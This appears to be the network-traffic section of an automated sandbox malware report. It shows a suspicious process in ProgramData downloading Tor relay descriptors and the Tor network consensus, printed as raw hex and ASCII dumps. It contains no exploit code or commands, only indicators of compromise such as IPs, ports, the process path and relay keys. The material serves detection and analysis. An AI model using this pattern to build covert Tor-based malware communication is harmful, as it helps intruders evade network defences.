2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 35 35 35 45 35 42 33 38 32 30 38 46 33 42 35 34 43 39 34 36 36 33 42 44 41 34 42 42 41 39 45 41 34 36 38 38 39 35 33 20 46 6b 7a 77 47 61 56 66 32 64 33 57 75 4a 35 31 35 38 67 47 47 5a 38 49 46 6e 37 38 30 6c 70 48 34 55 42 48 47 51 52 6c 79 4b 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 59 39 51 49 68 2f 79 69 58 64 4a 51 31 79 51 58 64 6a 53 6f 6e 68 54 6b 6a 41 67 58 4d 34 58 7a 6e 38 75 78 77 79 44 73 4e 7a 65 57 6a 31 54 5a 45 54 36 5a 57 5a 0a 6c 32 47 52 4b 41 4e 46 77 46 53 56 52 49 63 6d 69 34 33 75 75 63 54 69 43 7a 48 31 65 72 53 72 57 30 6b 52 4a 62 65 62 4a 65 4a 68 43 35 77 69 74 51 52 76 4a 49 63 6b 75 79 49 4f 74 37 30 64 0a 43 68 76 31 36 6b 77 55 4a 4d 69 63 7a 79 44 70 59 2f 77 37 5a 6c 32 76 43 6c 6a 59 69 6e 79 33 73 4b 57 42 70 58 41 35 5a 41 61 2b 79 4e 75 70 67 42 6e 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 42 46 39 45 44 68 4c 53 Data Ascii: router GalaxyNewsRadio 84.62.245.6 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxUxAVbs1PI0VDEFUz55fRfxh+7MGNrA5t5aN3IesGfsUqxQAQAgBABBQHKwM8IGgQ9dK2R4NMgzsLz/onx3FQItuxRviMt6HWhSKcoj6ewElNnaP4YoESMzdmvsKUrrzYeLejw33pUH8qKCproA73Xm+dRyD8S2r6+FSrkvCwUuxtAkPA51bQU=-----END ED25519 CERT-----master-key-ed25519 QUBysDPCBoEPXStkeDTIM7C8/6J8dxUCLbsUb4jLeh0platform Tor 0.4.7.10 on OpenBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 01:14:47fingerprint 45BC 9917 F7E1 3770 736B BFFC 22E6 F170 E14E 16ECuptime 129794bandwidth 2048000 4096000 2354662extra-info-digest D555E5B38208F3B54C94663BDA4BBA9EA4688953 FkzwGaVf2d3WuJ5158gGGZ8IFn780lpH4UBHGQRlyKoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALY9QIh/yiXdJQ1yQXdjSonhTkjAgXM4Xzn8uxwyDsNzeWj1TZET6ZWZl2GRKANFwFSVRIcmi43uucTiCzH1erSrW0kRJbebJeJhC5witQRvJIckuyIOt70dChv16kwUJMiczyDpY/w7Zl2vCljYiny3sKWBpXA5ZAa+yNupgBn5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALBF9EDhLS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49743	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:42.181884050 CET	7833	OUT	GET /tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:42.227605104 CET	7834	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:27 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:27 GMT Data Raw: 72 6f 75 74 65 72 20 56 54 49 53 75 70 70 6f 72 74 31 20 38 32 2e 32 32 31 2e 31 32 38 2e 32 32 30 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 5a 63 41 65 4b 56 6f 6e 46 6a 46 34 4d 5a 61 78 51 59 7a 41 4b 78 32 61 31 6e 52 72 6c 2f 2f 50 43 62 49 41 45 71 42 63 55 76 52 49 37 31 41 51 41 67 42 41 42 45 6d 62 45 76 0a 68 78 37 44 65 35 4e 47 36 6d 54 4c 69 66 46 57 36 2b 63 53 64 59 48 76 69 51 6b 79 64 2b 56 75 76 65 6f 4e 6d 57 6a 4d 42 34 2b 33 57 34 54 4b 64 38 77 52 6f 37 32 6b 49 34 4c 76 4b 45 73 52 0a 42 6c 35 32 32 2f 66 79 4a 52 42 46 4c 64 36 49 76 79 4e 48 53 7a 38 75 4e 63 79 4b 38 62 6b 37 74 48 39 32 65 52 78 38 78 37 35 67 36 54 70 68 56 41 31 45 45 61 71 6f 51 41 63 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 52 4a 6d 78 4c 34 63 65 77 33 75 54 52 75 70 6b 79 34 6e 78 56 75 76 6e 45 6e 57 42 37 34 6b 4a 4d 6e 66 6c 62 72 33 71 44 5a 6b 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 35 3a 33 33 3a 31 32 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 38 43 41 20 32 38 44 38 20 42 39 39 38 20 30 43 43 44 20 39 41 42 38 20 33 30 44 33 20 30 30 36 42 20 42 36 39 38 20 43 45 39 39 20 42 32 30 44 0a 75 70 74 69 6d 65 20 35 31 38 34 35 32 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 34 30 33 30 34 36 37 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 34 33 33 45 43 43 39 42 34 30 37 36 46 36 31 44 45 30 42 43 37 35 37 44 44 31 39 41 44 45 36 31 35 42 30 38 33 38 30 46 20 6d 49 2f 58 7a 37 50 78 4f 37 69 39 6a 67 63 64 74 75 53 6b 67 31 51 66 4b 38 48 47 67 53 6f 43 70 72 36 2b 33 52 37 54 38 64 67 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 64 6d 52 4b 67 59 74 61 4d 46 5a 49 70 6d 44 59 53 49 67 5a 2f 72 63 35 44 62 31 53 55 65 4d 73 47 6a 79 39 63 32 56 35 5a 62 4a 36 4a 64 7a 63 5a 32 36 4f 41 79 0a 58 4f 6a 31 50 52 2b 6b 68 75 54 74 4c 61 38 4a 52 78 30 4f 42 4c 35 74 7a 57 59 42 6f 59 6d 49 38 66 76 47 57 71 6f 46 50 71 67 6b 57 6a 59 48 51 69 7a 44 61 5a 34 79 55 4b 2f 6f 4f 35 37 4a 0a 73 63 62 70 4c 6f 72 36 4f 7a 37 4c 47 6d 63 44 75 33 66 68 33 34 41 54 2f 34 59 5a 68 73 5a 58 72 33 64 4c 6e 4a 62 32 34 72 6b 49 48 31 39 51 4c 67 4f 6c 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 4c 33 2b 74 Data Ascii: router VTISupport1 82.221.128.220 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxZcAeKVonFjF4MZaxQYzAKx2a1nRrl//PCbIAEqBcUvRI71AQAgBABEmbEvhx7De5NG6mTLifFW6+cSdYHviQkyd+VuveoNmWjMB4+3W4TKd8wRo72kI4LvKEsRBl522/fyJRBFLd6IvyNHSz8uNcyK8bk7tH92eRx8x75g6TphVA1EEaqoQAc=-----END ED25519 CERT-----master-key-ed25519 RJmxL4cew3uTRupky4nxVuvnEnWB74kJMnflbr3qDZkplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 15:33:12fingerprint 38CA 28D8 B998 0CCD 9AB8 30D3 006B B698 CE99 B20Duptime 518452bandwidth 1073741824 1073741824 40304672extra-info-digest 433ECC9B4076F61DE0BC757DD19ADE615B08380F mI/Xz7PxO7i9jgcdtuSkg1QfK8HGgSoCpr6+3R7T8dgonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANdmRKgYtaMFZIpmDYSIgZ/rc5Db1SUeMsGjy9c2V5ZbJ6JdzcZ26OAyXOj1PR+khuTtLa8JRx0OBL5tzWYBoYmI8fvGWqoFPqgkWjYHQizDaZ4yUK/oO57JscbpLor6Oz7LGmcDu3fh34AT/4YZhsZXr3dLnJb24rkIH19QLgOlAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKL3+t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49744	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:42.720216036 CET	7841	OUT	GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:42.765985966 CET	7842	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:28 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:28 GMT Data Raw: 72 6f 75 74 65 72 20 47 61 6c 61 78 79 4e 65 77 73 52 61 64 69 6f 20 38 34 2e 36 32 2e 32 34 35 2e 36 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 55 78 41 56 62 73 31 50 49 30 56 44 45 46 55 7a 35 35 66 52 66 78 68 2b 37 4d 47 4e 72 41 35 74 35 61 4e 33 49 65 73 47 66 73 55 71 78 51 41 51 41 67 42 41 42 42 51 48 4b 77 0a 4d 38 49 47 67 51 39 64 4b 32 52 34 4e 4d 67 7a 73 4c 7a 2f 6f 6e 78 33 46 51 49 74 75 78 52 76 69 4d 74 36 48 57 68 53 4b 63 6f 6a 36 65 77 45 6c 4e 6e 61 50 34 59 6f 45 53 4d 7a 64 6d 76 73 0a 4b 55 72 72 7a 59 65 4c 65 6a 77 33 33 70 55 48 38 71 4b 43 70 72 6f 41 37 33 58 6d 2b 64 52 79 44 38 53 32 72 36 2b 46 53 72 6b 76 43 77 55 75 78 74 41 6b 50 41 35 31 62 51 55 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 51 55 42 79 73 44 50 43 42 6f 45 50 58 53 74 6b 65 44 54 49 4d 37 43 38 2f 36 4a 38 64 78 55 43 4c 62 73 55 62 34 6a 4c 65 68 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4f 70 65 6e 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 31 3a 31 34 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 35 42 43 20 39 39 31 37 20 46 37 45 31 20 33 37 37 30 20 37 33 36 42 20 42 46 46 43 20 32 32 45 36 20 46 31 37 30 20 45 31 34 45 20 31 36 45 43 0a 75 70 74 69 6d 65 20 31 32 39 37 39 34 0a 62 61 6e 64 77 69 64 74 68 20 32 30 34 38 30 30 30 20 34 30 39 36 30 30 30 20 32 33 35 34 36 36 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 35 35 35 45 35 42 33 38 32 30 38 46 33 42 35 34 43 39 34 36 36 33 42 44 41 34 42 42 41 39 45 41 34 36 38 38 39 35 33 20 46 6b 7a 77 47 61 56 66 32 64 33 57 75 4a 35 31 35 38 67 47 47 5a 38 49 46 6e 37 38 30 6c 70 48 34 55 42 48 47 51 52 6c 79 4b 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 59 39 51 49 68 2f 79 69 58 64 4a 51 31 79 51 58 64 6a 53 6f 6e 68 54 6b 6a 41 67 58 4d 34 58 7a 6e 38 75 78 77 79 44 73 4e 7a 65 57 6a 31 54 5a 45 54 36 5a 57 5a 0a 6c 32 47 52 4b 41 4e 46 77 46 53 56 52 49 63 6d 69 34 33 75 75 63 54 69 43 7a 48 31 65 72 53 72 57 30 6b 52 4a 62 65 62 4a 65 4a 68 43 35 77 69 74 51 52 76 4a 49 63 6b 75 79 49 4f 74 37 30 64 0a 43 68 76 31 36 6b 77 55 4a 4d 69 63 7a 79 44 70 59 2f 77 37 5a 6c 32 76 43 6c 6a 59 69 6e 79 33 73 4b 57 42 70 58 41 35 5a 41 61 2b 79 4e 75 70 67 42 6e 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 42 46 39 45 44 68 4c 53 Data Ascii: router GalaxyNewsRadio 84.62.245.6 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxUxAVbs1PI0VDEFUz55fRfxh+7MGNrA5t5aN3IesGfsUqxQAQAgBABBQHKwM8IGgQ9dK2R4NMgzsLz/onx3FQItuxRviMt6HWhSKcoj6ewElNnaP4YoESMzdmvsKUrrzYeLejw33pUH8qKCproA73Xm+dRyD8S2r6+FSrkvCwUuxtAkPA51bQU=-----END ED25519 CERT-----master-key-ed25519 QUBysDPCBoEPXStkeDTIM7C8/6J8dxUCLbsUb4jLeh0platform Tor 0.4.7.10 on OpenBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 01:14:47fingerprint 45BC 9917 F7E1 3770 736B BFFC 22E6 F170 E14E 16ECuptime 129794bandwidth 2048000 4096000 2354662extra-info-digest D555E5B38208F3B54C94663BDA4BBA9EA4688953 FkzwGaVf2d3WuJ5158gGGZ8IFn780lpH4UBHGQRlyKoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALY9QIh/yiXdJQ1yQXdjSonhTkjAgXM4Xzn8uxwyDsNzeWj1TZET6ZWZl2GRKANFwFSVRIcmi43uucTiCzH1erSrW0kRJbebJeJhC5witQRvJIckuyIOt70dChv16kwUJMiczyDpY/w7Zl2vCljYiny3sKWBpXA5ZAa+yNupgBn5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALBF9EDhLS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49692	131.188.40.189	80	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:06.341257095 CET	7	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 131.188.40.189 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:06.361409903 CET	8	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:06 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Sun, 11 Dec 2022 09:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 32 2d 31 32 2d 31 31 20 30 38 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 32 2d 31 31 20 30 39 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 32 2d 31 31 20 31 31 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4d 69 64 64 6c 65 4f 6e 6c 79 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 70 61 72 61 6d 73 20 43 69 72 63 75 69 74 50 72 69 6f 72 69 74 79 48 61 6c 66 6c 69 66 65 4d 73 65 63 3d 33 30 30 30 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 42 75 72 73 74 3d 36 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2022-12-11 08:00:00fresh-until 2022-12-11 09:00:00valid-until 2022-12-11 11:00:00voting-delay 300 300client-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12server-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCrea
Dec 11, 2022 09:25:06.361454964 CET	9	IN	Data Raw: 74 69 6f 6e 45 6e 61 62 6c 65 64 3d 31 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 4d 69 6e 43 6f 6e 6e 65 63 74 69 6f 6e 73 3d 32 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 52 61 74 65 3d 32 20 44 6f 53 43 6f 6e 6e 65 Data Ascii: tionEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate=2 DoSConnectionEnabled=1 DoSConnectionMaxConcurrentCount=50 DoSRefuseSingleHopClientRendezvous=1 ExtendByEd25519ID=1 KISTSchedRunInterval=2 NumNTorsPerTAP=100 UseOptimisti
Dec 11, 2022 09:25:06.361498117 CET	10	IN	Data Raw: 65 5f 70 65 72 63 65 6e 74 3d 35 30 30 20 73 65 6e 64 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 72 73 69 6f 6e 3d 31 0a 73 68 61 72 65 64 2d 72 61 6e 64 2d 70 72 65 76 69 6f 75 73 2d 76 61 6c 75 65 20 38 20 4f 55 58 73 33 33 5a 36 6a 77 43 61 43 Data Ascii: e_percent=500 sendme_emit_min_version=1shared-rand-previous-value 8 OUXs33Z6jwCaC7+01M0edsV3bfQTozE0XT1G+S9nMBM=shared-rand-current-value 8 zXIuCMixcVdQiw7MqOKRh96/AoG3SQusUgMfgw4Gezk=dir-source dannenberg 0232AF901C31A04EE9848595AF9BB7620D
Dec 11, 2022 09:25:06.361545086 CET	11	IN	Data Raw: 36 36 2e 33 33 2e 34 35 20 38 30 20 34 34 33 0a 63 6f 6e 74 61 63 74 20 65 6d 61 69 6c 3a 75 73 75 72 61 5b 5d 73 61 62 6f 74 61 67 65 2e 6f 72 67 20 75 72 6c 3a 68 74 74 70 73 3a 2f 2f 33 38 36 62 73 64 2e 6e 65 74 20 70 72 6f 6f 66 3a 75 72 69 Data Ascii: 66.33.45 80 443contact email:usura[]sabotage.org url:https://386bsd.net proof:uri-rsa abuse:abuse[]sabotage.net twitter:adejoode ciissversion:2vote-digest 69686C901A02C875F25F646E9DE068CADA61BFB9dir-source gabelmoo ED03BB616EB2F60BEC8015111
Dec 11, 2022 09:25:06.361588955 CET	13	IN	Data Raw: 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 33 31 30 30 30 0a 70 20 61 63 63 65 70 74 20 32 30 2d 32 33 2c 34 33 2c 35 33 2c 37 39 2d 38 31 2c 38 38 2c 31 31 30 2c 31 34 33 2c 31 39 34 2c 32 32 30 2c 33 Data Ascii: ding=2 Relay=1-4w Bandwidth=31000p accept 20-23,43,53,79-81,88,110,143,194,220,389,443,464,531,543-544,554,563,636,706,749,873,902-904,981,989-995,1194,1220,1293,1500,1533,1677,1723,1755,1863,2082-2083,2086-2087,2095-2096,2102-2104,3128,3389
Dec 11, 2022 09:25:06.361632109 CET	14	IN	Data Raw: 76 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 Data Ascii: v Tor 0.4.7.11pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=11000p reject 1-65535r suominode AFYmkM8z9TfE9MlYdlX3Rphoxzo St+sEFoocvWpEPAG1fBXF
